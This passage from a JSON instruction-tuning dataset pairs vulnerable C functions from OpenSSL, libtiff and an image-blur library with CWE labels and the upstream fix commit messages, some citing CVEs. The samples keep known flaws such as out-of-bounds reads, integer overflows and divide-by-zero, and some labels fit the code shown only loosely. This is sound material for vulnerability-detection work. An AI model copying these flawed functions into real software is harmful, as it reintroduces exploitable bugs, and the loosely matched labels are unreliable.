'cwe': ['CWE-125'], 'message': 'Fix small OOB reads.\n\nIn ssl3_get_client_certificate, ssl3_get_server_certificate and\nssl3_get_certificate_request check we have enough room\nbefore reading a length.\n\nThanks to Shi Lei (Gear Team, Qihoo 360 Inc.) for reporting these bugs.\n\nCVE-2016-6306\n\nReviewed-by: Richard Levitte \nReviewed-by: Matt Caswell \n(cherry picked from commit ff553f837172ecb2b5c8eca257ec3c5619a4b299)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static unsigned long dtls1_max_handshake_message_len(const SSL *s)\n{\n    unsigned long max_len =\n        DTLS1_HM_HEADER_LENGTH + SSL3_RT_MAX_ENCRYPTED_LENGTH;\n    if (max_len < (unsigned long)s->max_cert_list)\n        return s->max_cert_list;\n    return max_len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'Excessive allocation of memory in dtls1_preprocess_fragment()\n\nThis issue is very similar to CVE-2016-6307 described in the previous\ncommit. The underlying defect is different but the security analysis and\nimpacts are the same except that it impacts DTLS.\n\nA DTLS message includes 3 bytes for its length in the header for the\nmessage.\nThis would allow for messages up to 16Mb in length. Messages of this length\nare excessive and OpenSSL includes a check to ensure that a peer is sending\nreasonably sized messages in order to avoid too much memory being consumed\nto service a connection. A flaw in the logic of version 1.1.0 means that\nmemory for the message is allocated too early, prior to the excessive\nmessage length check. Due to way memory is allocated in OpenSSL this could\nmean an attacker could force up to 21Mb to be allocated to service a\nconnection. This could lead to a Denial of Service through memory\nexhaustion. However, the excessive message length check still takes place,\nand this would cause the connection to immediately fail. Assuming that the\napplication calls SSL_free() on the failed conneciton in a timely manner\nthen the 21Mb of allocated memory will then be immediately freed again.\nTherefore the excessive memory allocation will be transitory in nature.\nThis then means that there is only a security impact if:\n\n1) The application does not call SSL_free() in a timely manner in the\nevent that the connection fails\nor\n2) The application is working in a constrained environment where there\nis very little free memory\nor\n3) The attacker initiates multiple connection attempts such that there\nare multiple connections in a state where memory has been allocated for\nthe connection; SSL_free() has not yet been called; and there is\ninsufficient memory to service the multiple requests.\n\nExcept in the instance of (1) above any Denial Of Service is likely to\nbe transitory because as soon as the connection fails the memory is\nsubsequently freed again in the SSL_free() call. However there is an\nincreased risk during this period of application crashes due to the lack\nof memory - which would then mean a more serious Denial of Service.\n\nThis issue does not affect TLS users.\n\nIssue was reported by Shi Lei (Gear Team, Qihoo 360 Inc.).\n\nCVE-2016-6308\n\nReviewed-by: Richard Levitte \n(cherry picked from commit 48c054fec3506417b2598837b8062aae7114c200)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength,\n\t\t\t\t       uint32 imagewidth, tsample_t spp, \n                                       struct dump_opts * dump)\n  {\n  tdata_t obuf = _TIFFmalloc(TIFFTileSize(out));\n  uint32 tl, tw;\n  uint32 row, col, nrow, ncol;\n  uint32 src_rowsize, col_offset;\n  uint16 bps;\n  tsample_t s;\n  uint8* bufp = (uint8*) buf;\n\n  if (obuf == NULL)\n    return 1;\n\n  TIFFGetField(out, TIFFTAG_TILELENGTH, &tl);\n  TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw);\n  TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps);\n  src_rowsize = ((imagewidth * spp * bps) + 7) / 8;\n         \n  for (row = 0; row < imagelength; row += tl)\n    {\n    nrow = (row + tl > imagelength) ? imagelength - row : tl;\n    for (col = 0; col < imagewidth; col += tw)\n      {\n      /* Calculate visible portion of tile. */\n      if (col + tw > imagewidth)\n\tncol = imagewidth - col;\n      else\n        ncol = tw;\n\n      col_offset = (((col * bps * spp) + 7) / 8);\n      bufp = buf + (row * src_rowsize) + col_offset;\n\n      for (s = 0; s < spp; s++)\n        {\n\tif (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth,\n\t\t\t\t\t     tw, s, 1, spp, bps, dump) > 0)\n          {\n\t  TIFFError(\"writeBufferToSeparateTiles\", \n                    \"Unable to extract data to tile for row %lu, col %lu sample %d\",\n                    (unsigned long) row, (unsigned long)col, (int)s);\n\t  _TIFFfree(obuf);\n\t  return 1;\n          }\n\n\tif (TIFFWriteTile(out, obuf, col, row, 0, s) < 0)\n          {\n\t   TIFFError(\"writeBufferToseparateTiles\",\n\t             \"Cannot write tile at %lu %lu sample %lu\",\n\t             (unsigned long) col, (unsigned long) row,\n\t             (unsigned long) s);\n\t   _TIFFfree(obuf);\n\t   return 1;\n\t  }\n\t}\n      }\n    }\n  _TIFFfree(obuf);\n\n  return 0;\n  } /* end writeBufferToSeparateTiles */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': '* tools/tiffcrop.c: fix multiple uint32 overflows in\nwriteBufferToSeparateStrips(), writeBufferToContigTiles() and\nwriteBufferToSeparateTiles() that could cause heap buffer overflows.\nReported by Henri Salo from Nixu Corporation.\nFixes http://bugzilla.maptools.org/show_bug.cgi?id=2592'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: horAcc8(TIFF* tif, uint8* cp0, tmsize_t cc)\n{\n\ttmsize_t stride = PredictorState(tif)->stride;\n\n\tunsigned char* cp = (unsigned char*) cp0;\n\tassert((cc%stride)==0);\n\tif (cc > stride) {\n\t\t/*\n\t\t * Pipeline the most common cases.\n\t\t */\n\t\tif (stride == 3)  {\n\t\t\tunsigned int cr = cp[0];\n\t\t\tunsigned int cg = cp[1];\n\t\t\tunsigned int cb = cp[2];\n\t\t\tcc -= 3;\n\t\t\tcp += 3;\n\t\t\twhile (cc>0) {\n\t\t\t\tcp[0] = (unsigned char) ((cr += cp[0]) & 0xff);\n\t\t\t\tcp[1] = (unsigned char) ((cg += cp[1]) & 0xff);\n\t\t\t\tcp[2] = (unsigned char) ((cb += cp[2]) & 0xff);\n\t\t\t\tcc -= 3;\n\t\t\t\tcp += 3;\n\t\t\t}\n\t\t} else if (stride == 4)  {\n\t\t\tunsigned int cr = cp[0];\n\t\t\tunsigned int cg = cp[1];\n\t\t\tunsigned int cb = cp[2];\n\t\t\tunsigned int ca = cp[3];\n\t\t\tcc -= 4;\n\t\t\tcp += 4;\n\t\t\twhile (cc>0) {\n\t\t\t\tcp[0] = (unsigned char) ((cr += cp[0]) & 0xff);\n\t\t\t\tcp[1] = (unsigned char) ((cg += cp[1]) & 0xff);\n\t\t\t\tcp[2] = (unsigned char) ((cb += cp[2]) & 0xff);\n\t\t\t\tcp[3] = (unsigned char) ((ca += cp[3]) & 0xff);\n\t\t\t\tcc -= 4;\n\t\t\t\tcp += 4;\n\t\t\t}\n\t\t} else  {\n\t\t\tcc -= stride;\n\t\t\tdo {\n\t\t\t\tREPEAT4(stride, cp[stride] =\n\t\t\t\t\t(unsigned char) ((cp[stride] + *cp) & 0xff); cp++)\n\t\t\t\tcc -= stride;\n\t\t\t} while (cc>0);\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': '* libtiff/tif_predict.h, libtiff/tif_predict.c:\nReplace assertions by runtime checks to avoid assertions in debug mode,\nor buffer overflows in release mode. Can happen when dealing with\nunusual tile size like YCbCr with subsampling. Reported as MSVR 35105\nby Axel Souchet\t& Vishal Chauhan from the MSRC Vulnerabilities & Mitigations\nteam.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: swabHorAcc32(TIFF* tif, uint8* cp0, tmsize_t cc)\n{\n\tuint32* wp = (uint32*) cp0;\n\ttmsize_t wc = cc / 4;\n\n        TIFFSwabArrayOfLong(wp, wc);\n\thorAcc32(tif, cp0, cc);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': '* libtiff/tif_predict.h, libtiff/tif_predict.c:\nReplace assertions by runtime checks to avoid assertions in debug mode,\nor buffer overflows in release mode. Can happen when dealing with\nunusual tile size like YCbCr with subsampling. Reported as MSVR 35105\nby Axel Souchet\t& Vishal Chauhan from the MSRC Vulnerabilities & Mitigations\nteam.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int readContigStripsIntoBuffer (TIFF* in, uint8* buf)\n{\n        uint8* bufp = buf;\n        int32  bytes_read = 0;\n        uint16 strip, nstrips   = TIFFNumberOfStrips(in);\n        uint32 stripsize = TIFFStripSize(in);\n        uint32 rows = 0;\n        uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps);\n        tsize_t scanline_size = TIFFScanlineSize(in);\n\n        if (scanline_size == 0) {\n                TIFFError(\"\", \"TIFF scanline size is zero!\");    \n                return 0;\n        }\n\n        for (strip = 0; strip < nstrips; strip++) {\n                bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1);\n                rows = bytes_read / scanline_size;\n                if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize))\n                        TIFFError(\"\", \"Strip %d: read %lu bytes, strip size %lu\",\n                                  (int)strip + 1, (unsigned long) bytes_read,\n                                  (unsigned long)stripsize);\n\n                if (bytes_read < 0 && !ignore) {\n                        TIFFError(\"\", \"Error reading strip %lu after %lu rows\",\n                                  (unsigned long) strip, (unsigned long)rows);\n                        return 0;\n                }\n                bufp += bytes_read;\n        }\n\n        return 1;\n} /* end readContigStripsIntoBuffer */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': '* tools/tiffcp.c: fix read of undefined variable in case of missing\nrequired tags. Found on test case of MSVR 35100.\n* tools/tiffcrop.c: fix read of undefined buffer in\nreadContigStripsIntoBuffer() due to uint16 overflow. Probably not a\nsecurity issue but I can be wrong. Reported as MSVR 35100 by Axel\nSouchet from the MSRC Vulnerabilities & Mitigations team.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int EC_GROUP_copy(EC_GROUP *dest, const EC_GROUP *src)\n\t{\n\tEC_EXTRA_DATA *d;\n\n\tif (dest->meth->group_copy == 0)\n\t\t{\n\t\tECerr(EC_F_EC_GROUP_COPY, ERR_R_SHOULD_NOT_HAVE_BEEN_CALLED);\n\t\treturn 0;\n\t\t}\n\tif (dest->meth != src->meth)\n\t\t{\n\t\tECerr(EC_F_EC_GROUP_COPY, EC_R_INCOMPATIBLE_OBJECTS);\n\t\treturn 0;\n\t\t}\n\tif (dest == src)\n\t\treturn 1;\n\t\n\tEC_EX_DATA_free_all_data(&dest->extra_data);\n\n\tfor (d = src->extra_data; d != NULL; d = d->next)\n\t\t{\n\t\tvoid *t = d->dup_func(d->data);\n\t\t\n\t\tif (t == NULL)\n\t\t\treturn 0;\n\t\tif (!EC_EX_DATA_set_data(&dest->extra_data, t, d->dup_func, d->free_func, d->clear_free_func))\n\t\t\treturn 0;\n\t\t}\n\n\tif (src->generator != NULL)\n\t\t{\n\t\tif (dest->generator == NULL)\n\t\t\t{\n\t\t\tdest->generator = EC_POINT_new(dest);\n\t\t\tif (dest->generator == NULL) return 0;\n\t\t\t}\n\t\tif (!EC_POINT_copy(dest->generator, src->generator)) return 0;\n\t\t}\n\telse\n\t\t{\n\t\t/* src->generator == NULL */\n\t\tif (dest->generator != NULL)\n\t\t\t{\n\t\t\tEC_POINT_clear_free(dest->generator);\n\t\t\tdest->generator = NULL;\n\t\t\t}\n\t\t}\n\n\tif (!BN_copy(&dest->order, &src->order)) return 0;\n\tif (!BN_copy(&dest->cofactor, &src->cofactor)) return 0;\n\n\tdest->curve_name = src->curve_name;\n\tdest->asn1_flag  = src->asn1_flag;\n\tdest->asn1_form  = src->asn1_form;\n\n\tif (src->seed)\n\t\t{\n\t\tif (dest->seed)\n\t\t\tOPENSSL_free(dest->seed);\n\t\tdest->seed = OPENSSL_malloc(src->seed_len);\n\t\tif (dest->seed == NULL)\n\t\t\treturn 0;\n\t\tif (!memcpy(dest->seed, src->seed, src->seed_len))\n\t\t\treturn 0;\n\t\tdest->seed_len = src->seed_len;\n\t\t}\n\telse\n\t\t{\n\t\tif (dest->seed)\n\t\t\tOPENSSL_free(dest->seed);\n\t\tdest->seed = NULL;\n\t\tdest->seed_len = 0;\n\t\t}\n\t\n\n\treturn dest->meth->group_copy(dest, src);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-320'], 'message': 'Reserve option to use BN_mod_exp_mont_consttime in ECDSA.\n\nSubmitted by Shay Gueron, Intel Corp.\nRT: 3149\n\nReviewed-by: Rich Salz \n(cherry picked from commit f54be179aa4cbbd944728771d7d59ed588158a12)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int chacha20_poly1305_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg,\n                                  void *ptr)\n{\n    EVP_CHACHA_AEAD_CTX *actx = aead_data(ctx);\n\n    switch(type) {\n    case EVP_CTRL_INIT:\n        if (actx == NULL)\n            actx = ctx->cipher_data\n                 = OPENSSL_zalloc(sizeof(*actx) + Poly1305_ctx_size());\n        if (actx == NULL) {\n            EVPerr(EVP_F_CHACHA20_POLY1305_CTRL, EVP_R_INITIALIZATION_ERROR);\n            return 0;\n        }\n        actx->len.aad = 0;\n        actx->len.text = 0;\n        actx->aad = 0;\n        actx->mac_inited = 0;\n        actx->tag_len = 0;\n        actx->nonce_len = 12;\n        actx->tls_payload_length = NO_TLS_PAYLOAD_LENGTH;\n        return 1;\n\n    case EVP_CTRL_COPY:\n        if (actx) {\n            EVP_CIPHER_CTX *dst = (EVP_CIPHER_CTX *)ptr;\n\n            dst->cipher_data =\n                   OPENSSL_memdup(actx, sizeof(*actx) + Poly1305_ctx_size());\n            if (dst->cipher_data == NULL) {\n                EVPerr(EVP_F_CHACHA20_POLY1305_CTRL, EVP_R_COPY_ERROR);\n                return 0;\n            }\n        }\n        return 1;\n\n    case EVP_CTRL_AEAD_SET_IVLEN:\n        if (arg <= 0 || arg > CHACHA_CTR_SIZE)\n            return 0;\n        actx->nonce_len = arg;\n        return 1;\n\n    case EVP_CTRL_AEAD_SET_IV_FIXED:\n        if (arg != 12)\n            return 0;\n        actx->nonce[0] = actx->key.counter[1]\n                       = CHACHA_U8TOU32((unsigned char *)ptr);\n        actx->nonce[1] = actx->key.counter[2]\n                       = CHACHA_U8TOU32((unsigned char *)ptr+4);\n        actx->nonce[2] = actx->key.counter[3]\n                       = CHACHA_U8TOU32((unsigned char *)ptr+8);\n        return 1;\n\n    case EVP_CTRL_AEAD_SET_TAG:\n        if (arg <= 0 || arg > POLY1305_BLOCK_SIZE)\n            return 0;\n        if (ptr != NULL) {\n            memcpy(actx->tag, ptr, arg);\n            actx->tag_len = arg;\n        }\n        return 1;\n\n    case EVP_CTRL_AEAD_GET_TAG:\n        if (arg <= 0 || arg > POLY1305_BLOCK_SIZE || !ctx->encrypt)\n            return 0;\n        memcpy(ptr, actx->tag, arg);\n        return 1;\n\n    case EVP_CTRL_AEAD_TLS1_AAD:\n        if (arg != EVP_AEAD_TLS1_AAD_LEN)\n            return 0;\n        {\n            unsigned int len;\n            unsigned char *aad = ptr, temp[POLY1305_BLOCK_SIZE];\n\n            len = aad[EVP_AEAD_TLS1_AAD_LEN - 2] << 8 |\n                  aad[EVP_AEAD_TLS1_AAD_LEN - 1];\n            if (!ctx->encrypt) {\n                len -= POLY1305_BLOCK_SIZE;     /* discount attached tag */\n                memcpy(temp, aad, EVP_AEAD_TLS1_AAD_LEN - 2);\n                aad = temp;\n                temp[EVP_AEAD_TLS1_AAD_LEN - 2] = (unsigned char)(len >> 8);\n                temp[EVP_AEAD_TLS1_AAD_LEN - 1] = (unsigned char)len;\n            }\n            actx->tls_payload_length = len;\n\n            /*\n             * merge record sequence number as per\n             * draft-ietf-tls-chacha20-poly1305-03\n             */\n            actx->key.counter[1] = actx->nonce[0];\n            actx->key.counter[2] = actx->nonce[1] ^ CHACHA_U8TOU32(aad);\n            actx->key.counter[3] = actx->nonce[2] ^ CHACHA_U8TOU32(aad+4);\n            actx->mac_inited = 0;\n            chacha20_poly1305_cipher(ctx, NULL, aad, EVP_AEAD_TLS1_AAD_LEN);\n            return POLY1305_BLOCK_SIZE;         /* tag length */\n        }\n\n    case EVP_CTRL_AEAD_SET_MAC_KEY:\n        /* no-op */\n        return 1;\n\n    default:\n        return -1;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'crypto/evp: harden AEAD ciphers.\n\nOriginally a crash in 32-bit build was reported CHACHA20-POLY1305\ncipher. The crash is triggered by truncated packet and is result\nof excessive hashing to the edge of accessible memory. Since hash\noperation is read-only it is not considered to be exploitable\nbeyond a DoS condition. Other ciphers were hardened.\n\nThanks to Robert \u015awi\u0119cki for report.\n\nCVE-2017-3731\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int tls_construct_cke_dhe(SSL *s, unsigned char **p, int *len, int *al)\n{\n#ifndef OPENSSL_NO_DH\n    DH *dh_clnt = NULL;\n    const BIGNUM *pub_key;\n    EVP_PKEY *ckey = NULL, *skey = NULL;\n\n    skey = s->s3->peer_tmp;\n    if (skey == NULL) {\n        SSLerr(SSL_F_TLS_CONSTRUCT_CKE_DHE, ERR_R_INTERNAL_ERROR);\n        return 0;\n    }\n    ckey = ssl_generate_pkey(skey);\n    dh_clnt = EVP_PKEY_get0_DH(ckey);\n\n    if (dh_clnt == NULL || ssl_derive(s, ckey, skey) == 0) {\n        SSLerr(SSL_F_TLS_CONSTRUCT_CKE_DHE, ERR_R_INTERNAL_ERROR);\n        EVP_PKEY_free(ckey);\n        return 0;\n    }\n\n    /* send off the data */\n    DH_get0_key(dh_clnt, &pub_key, NULL);\n    *len = BN_num_bytes(pub_key);\n    s2n(*len, *p);\n    BN_bn2bin(pub_key, *p);\n    *len += 2;\n    EVP_PKEY_free(ckey);\n\n    return 1;\n#else\n    SSLerr(SSL_F_TLS_CONSTRUCT_CKE_DHE, ERR_R_INTERNAL_ERROR);\n    *al = SSL_AD_INTERNAL_ERROR;\n    return 0;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Fix missing NULL checks in CKE processing\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: OJPEGDecode(TIFF* tif, uint8* buf, tmsize_t cc, uint16 s)\n{\n\tOJPEGState* sp=(OJPEGState*)tif->tif_data;\n\t(void)s;\n\tif (sp->libjpeg_jpeg_query_style==0)\n\t{\n\t\tif (OJPEGDecodeRaw(tif,buf,cc)==0)\n\t\t\treturn(0);\n\t}\n\telse\n\t{\n\t\tif (OJPEGDecodeScanlines(tif,buf,cc)==0)\n\t\t\treturn(0);\n\t}\n\treturn(1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': '* libtiff/tif_ojpeg.c: make OJPEGDecode() early exit in case of failure in\nOJPEGPreDecode(). This will avoid a divide by zero, and potential other issues.\nReported by Agostino Sarubbo.\nFixes http://bugzilla.maptools.org/show_bug.cgi?id=2611'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TIFFWriteDirectoryTagCheckedRationalArray(TIFF* tif, uint32* ndir, TIFFDirEntry* dir, uint16 tag, uint32 count, float* value)\n{\n\tstatic const char module[] = \"TIFFWriteDirectoryTagCheckedRationalArray\";\n\tuint32* m;\n\tfloat* na;\n\tuint32* nb;\n\tuint32 nc;\n\tint o;\n\tassert(sizeof(uint32)==4);\n\tm=_TIFFmalloc(count*2*sizeof(uint32));\n\tif (m==NULL)\n\t{\n\t\tTIFFErrorExt(tif->tif_clientdata,module,\"Out of memory\");\n\t\treturn(0);\n\t}\n\tfor (na=value, nb=m, nc=0; nctif_flags&TIFF_SWAB)\n\t\tTIFFSwabArrayOfLong(m,count*2);\n\to=TIFFWriteDirectoryTagData(tif,ndir,dir,tag,TIFF_RATIONAL,count,count*8,&m[0]);\n\t_TIFFfree(m);\n\treturn(o);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': '* libtiff/tif_dir.c, tif_dirread.c, tif_dirwrite.c: implement various clampings\nof double to other data types to avoid undefined behaviour if the output range\nisn't big enough to hold the input value.\nFixes http://bugzilla.maptools.org/show_bug.cgi?id=2643\nhttp://bugzilla.maptools.org/show_bug.cgi?id=2642\nhttp://bugzilla.maptools.org/show_bug.cgi?id=2646\nhttp://bugzilla.maptools.org/show_bug.cgi?id=2647'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: box_blur_line (gint box_width, gint even_offset,\n               guchar *src, guchar *dest,\n               gint len, gint bpp)\n{\n    gint  i;\n    gint  lead;    /* This marks the leading edge of the kernel              */\n    gint  output;  /* This marks the center of the kernel                    */\n    gint  trail;   /* This marks the pixel BEHIND the last 1 in the\n                      kernel; it's the pixel to remove from the accumulator. */\n    gint  *ac;     /* Accumulator for each channel                           */\n\n    ac = g_new0 (gint, bpp);\n\n    /* The algorithm differs for even and odd-sized kernels.\n     * With the output at the center,\n     * If odd, the kernel might look like this: 0011100\n     * If even, the kernel will either be centered on the boundary between\n     * the output and its left neighbor, or on the boundary between the\n     * output and its right neighbor, depending on even_lr.\n     * So it might be 0111100 or 0011110, where output is on the center\n     * of these arrays.\n     */\n    lead = 0;\n\n    if (box_width % 2 != 0) {\n        /* Odd-width kernel */\n        output = lead - (box_width - 1) / 2;\n        trail  = lead - box_width;\n    } else {\n        /* Even-width kernel. */\n        if (even_offset == 1) {\n            /* Right offset */\n            output = lead + 1 - box_width / 2;\n            trail  = lead - box_width;\n        } else if (even_offset == -1) {\n            /* Left offset */\n            output = lead - box_width / 2;\n            trail  = lead - box_width;\n        } else {\n            /* If even_offset isn't 1 or -1, there's some error. */\n            g_assert_not_reached ();\n        }\n    }\n\n    /* Initialize accumulator */\n    for (i = 0; i < bpp; i++)\n        ac[i] = 0;\n\n    /* As the kernel moves across the image, it has a leading edge and a\n     * trailing edge, and the output is in the middle. */\n    while (output < len) {\n        /* The number of pixels that are both in the image and\n         * currently covered by the kernel. This is necessary to\n         * handle edge cases. */\n        guint coverage = (lead < len ? lead : len - 1) - (trail >= 0 ? trail : -1);\n\n#ifdef READABLE_BOXBLUR_CODE\n/* The code here does the same as the code below, but the code below\n * has been optimized by moving the if statements out of the tight for\n * loop, and is harder to understand.\n * Don't use both this code and the code below. */\n        for (i = 0; i < bpp; i++) {\n            /* If the leading edge of the kernel is still on the image,\n             * add the value there to the accumulator. */\n            if (lead < len)\n                ac[i] += src[bpp * lead + i];\n\n            /* If the trailing edge of the kernel is on the image,\n             * subtract the value there from the accumulator. */\n            if (trail >= 0)\n                ac[i] -= src[bpp * trail + i];\n\n            /* Take the averaged value in the accumulator and store\n             * that value in the output. The number of pixels currently\n             * stored in the accumulator can be less than the nominal\n             * width of the kernel because the kernel can go \"over the edge\"\n             * of the image. */\n            if (output >= 0)\n                dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;\n        }\n#endif\n\n        /* If the leading edge of the kernel is still on the image... */\n        if (lead < len) {\n            if (trail >= 0) {\n                /* If the trailing edge of the kernel is on the image. (Since\n                 * the output is in between the lead and trail, it must be on\n                 * the image. */\n                for (i = 0; i < bpp; i++) {\n                    ac[i] += src[bpp * lead + i];\n                    ac[i] -= src[bpp * trail + i];\n                    dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;\n                }\n            } else if (output >= 0) {\n                /* If the output is on the image, but the trailing edge isn't yet\n                 * on the image. */\n\n                for (i = 0; i < bpp; i++) {\n                    ac[i] += src[bpp * lead + i];\n                    dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;\n                }\n            } else {\n                /* If leading edge is on the image, but the output and trailing\n                 * edge aren't yet on the image. */\n                for (i = 0; i < bpp; i++)\n                    ac[i] += src[bpp * lead + i];\n            }\n        } else if (trail >= 0) {\n            /* If the leading edge has gone off the image, but the output and\n             * trailing edge are on the image. (The big loop exits when the\n             * output goes off the image. */\n            for (i = 0; i < bpp; i++) {\n                ac[i] -= src[bpp * trail + i];\n                dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;\n            }\n        } else if (output >= 0) {\n            /* Leading has gone off the image and trailing isn't yet in it\n             * (small image) */\n            for (i = 0; i < bpp; i++)\n                dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;\n        }\n\n        lead++;\n        output++;\n        trail++;\n    }\n\n    g_free (ac);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'bgo#783835 - Don't divide by zero in box_blur_line() for gaussian blurs\n\nWe were making the decision to use box blurs, instead of a true\nGaussian kernel, based on the size of *both* x and y dimensions.  Do\nthem individually instead.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ECDSA_SIG *ossl_ecdsa_sign_sig(const unsigned char *dgst, int dgst_len,\n                               const BIGNUM *in_kinv, const BIGNUM *in_r,\n                               EC_KEY *eckey)\n{\n    int ok = 0, i;\n    BIGNUM *kinv = NULL, *s, *m = NULL, *tmp = NULL;\n    const BIGNUM *order, *ckinv;\n    BN_CTX *ctx = NULL;\n    const EC_GROUP *group;\n    ECDSA_SIG *ret;\n    const BIGNUM *priv_key;\n\n    group = EC_KEY_get0_group(eckey);\n    priv_key = EC_KEY_get0_private_key(eckey);\n\n    if (group == NULL || priv_key == NULL) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_PASSED_NULL_PARAMETER);\n        return NULL;\n    }\n\n    if (!EC_KEY_can_sign(eckey)) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, EC_R_CURVE_DOES_NOT_SUPPORT_SIGNING);\n        return NULL;\n    }\n\n    ret = ECDSA_SIG_new();\n    if (ret == NULL) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_MALLOC_FAILURE);\n        return NULL;\n    }\n    ret->r = BN_new();\n    ret->s = BN_new();\n    if (ret->r == NULL || ret->s == NULL) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_MALLOC_FAILURE);\n        goto err;\n    }\n    s = ret->s;\n\n    if ((ctx = BN_CTX_new()) == NULL ||\n        (tmp = BN_new()) == NULL || (m = BN_new()) == NULL) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_MALLOC_FAILURE);\n        goto err;\n    }\n\n    order = EC_GROUP_get0_order(group);\n    if (order == NULL) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_EC_LIB);\n        goto err;\n    }\n    i = BN_num_bits(order);\n    /*\n     * Need to truncate digest if it is too long: first truncate whole bytes.\n     */\n    if (8 * dgst_len > i)\n        dgst_len = (i + 7) / 8;\n    if (!BN_bin2bn(dgst, dgst_len, m)) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_BN_LIB);\n        goto err;\n    }\n    /* If still too long truncate remaining bits with a shift */\n    if ((8 * dgst_len > i) && !BN_rshift(m, m, 8 - (i & 0x7))) {\n        ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_BN_LIB);\n        goto err;\n    }\n    do {\n        if (in_kinv == NULL || in_r == NULL) {\n            if (!ecdsa_sign_setup(eckey, ctx, &kinv, &ret->r, dgst, dgst_len)) {\n                ECerr(EC_F_OSSL_ECDSA_SIGN_SIG, ERR_R_ECDSA_LIB);\n                goto err;\n            }\n            ckinv = kinv;\n        } else {\n            ckinv = in_kinv;\n            if (BN_copy(ret->r, in_r) == NULL) {\n                